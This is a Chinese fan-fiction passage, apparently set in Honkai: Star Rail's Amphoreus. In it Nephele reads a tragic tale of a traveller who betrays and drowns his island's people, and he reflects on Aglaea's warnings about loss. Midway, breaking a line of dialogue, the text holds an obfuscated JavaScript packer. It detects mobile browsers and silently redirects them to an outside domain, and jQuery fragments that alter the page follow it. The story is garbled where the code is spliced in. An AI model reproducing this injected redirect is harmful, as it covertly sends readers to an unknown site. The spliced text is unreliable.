当然。阿格莱雅。那是我的荣幸。


    如果使者没有离开，大概会走到女性身边，执起她的手回答。


    太多的困境只会滋生疲惫，热闹则会照出他的孤单，涅斐勒适应的休息方式只剩书本。


    手中的故事翻过一页。背后的太阳打下指尖的黑影，落上白纸。


    阿格莱雅对他的试探，比起打压，更像是一种警示。警示他踏入黄金的潮水向河心漂流之时究竟会失去什么。涅斐勒记得，阿格莱雅最常对众人说的话，莫过于「逐火是不断失去的旅程」。她背负流失的人性，因接触政治而失去自由。其余的黄金裔也各有需要承担的「代价」。


    那么你呢？怀疑以阿格莱雅的声音在使者的耳边问道。你清楚自己正在失去什么、已经失去什么、与将要失去什么吗？


    涅斐勒将故事读到新的一节。企图颠覆世界宿命的逐浪者殒命于北风中。他因信仰而启程，手中的诗文卷轴记载着他对故乡与众人的留恋。无论沿途遭到怎样的驱逐，他始终怀有放声歌唱的初心。正因为他清楚自己早已一无所有，所以愈发明白，心中的回忆和身边的清晨，就是他想要保护的一切。


    如果要失去什么，必先拥有什么。对故事里的主人公和涅斐勒来说都是如此。故事里，死亡的主人公在死去的第十三日乘着银白的海浪回到了陆地的王国。他带来海底的靡靡之声，宣称有一股浪潮将要席卷大地的国度。旅者手中的诗文浸满了水，再看不清那些铭刻决意的文字。


    蓝眸将目光投向故事的世界里那片泛滥的大海。旅人行至海岸边，将自己在海底的见闻告诉了见到的每一个人。旅人的故事上演的舞台是一片被浪潮裹挟的孤岛，海难将所有人困住，纵使船只坚固，也无人敢前往那片远海上的迷雾。但沿着城墙向上的海平面昭告了将要到来的威胁，旅人无法坐以待毙，放任心爱的生活被无情的波浪淹没，于是他成为了昔日的逐浪者——追逐海浪，直至征服海浪之人——他最初的朋友对众人如是说。


    但他的船只沉没在海底，一同消失的还有那颗敢于在长夜瞭望头顶星辰的心。


    「我们离开这里吧。」失去勇气的旅人说。「我能建造一只绝对不会倾覆的大船，载走现在这里存在的所有人。」


    而故事的结局，有着某种让涅斐勒介意的隐喻。在踏上风浪之前，旅人是王国内有名的教士，他为无数子民排忧解难，不管是身体上的饥寒苦闷，还是心灵上的绝望，他都有办法为人们带去比海屿夏天还要温暖的帮助。


    他受人爱戴。正因如此，谁也没有怀疑旅人的话。信赖着旅人的众人纷纷为他的誓言献出自己的力量。尊贵的女王召来工匠，打造航船的甲板；乘风的信使将这事奔走相告，雪花般的传单飞往岛屿各处。海图从神出鬼没的少女手中突然掉到了旅人面前，水手教导船员们在海上辨别方向的技巧。第一次试航，有慕名而来的勇士，巨大的海兽也倒在他们的刀下。


    在正式出航的那日，人们挥别自己的故土，用希望与眼泪迎接未知却崭新的明天。


    但「旅人」在暴雨里，走到桅杆前。


    「你们的未来结束了。不存在什么能够跨越暴风雨的船，这一切的真相，只不过是让我一个人离开孤岛的计划。」


    他任由扑上甲板的将所有的乘客推入深海，鱼群等候已久，分食众人的血肉。他在雷鸣电闪中拿出那卷早已看不清文字的诗。


    「我不会和你们一起死去。我会用这艘你们呕心沥血打造


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594013|169313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的船去向海的终点，在那里，我会亲手将诗中美好的旧世界重塑。」


    涅斐勒仰躺在雪白的宽石栏上，在花影的映衬下，将故事翻到了最后一页。


    故事的最后一页写明了旅人的结局。作为流浪到海岛，在沙滩上被海岛的人们唤醒的孩子，他为回到执念中的乐园牺牲了众人的一切。但牺牲一切信赖，也因此失去一切帮助的他再无力抵抗沿途的暴风雨。海水在夺走所有人的生命后，也看上了他的灵魂。


    「旅人呵，你以为你想象的乐园当真在这海域的一角存在？」海中浮现出巨鲸般的怪影，不详的声音在旅人耳边回响。


    「那不过是无名的国度，是你在放逐中濒临死亡时幻想出的海市蜃楼。注定覆灭的拙作却值得你搭上真实的性命？你的妄想症越发严重了，真是令我感到可笑。」


    怪物降下惩罚。故事最后的最后，旅人的身体在海水的冲刷下失去温度，赴往了铺满同伴尸体的死路。


    涅斐勒可以理解故事中旅人的做法，他也曾在许多时刻面对往昔与未来的抉择。在这一点上他和故事中的他一样。


    一旦选错了路，就会失去他仅剩的两样东西：昔日的回忆，和眼下的牵绊。


    阿格莱雅担心他遭到杂音的侵扰，变得动摇，没能在关键时刻做出正确判断，导致某些事情朝着不可挽回的地步发展吗？


    涅斐勒合上书，将一切与之有关的感受封印在海面般漆黑的封皮下。


    犹如回应某句未曾听闻的话，涅斐勒起身，远眺奥赫玛的中心。


    “——我愿意为你们而死。”


    他俯瞰城池。


    “在一切重来以前，用这丑陋的黑血书写你们的凯歌，这就是我的心愿。”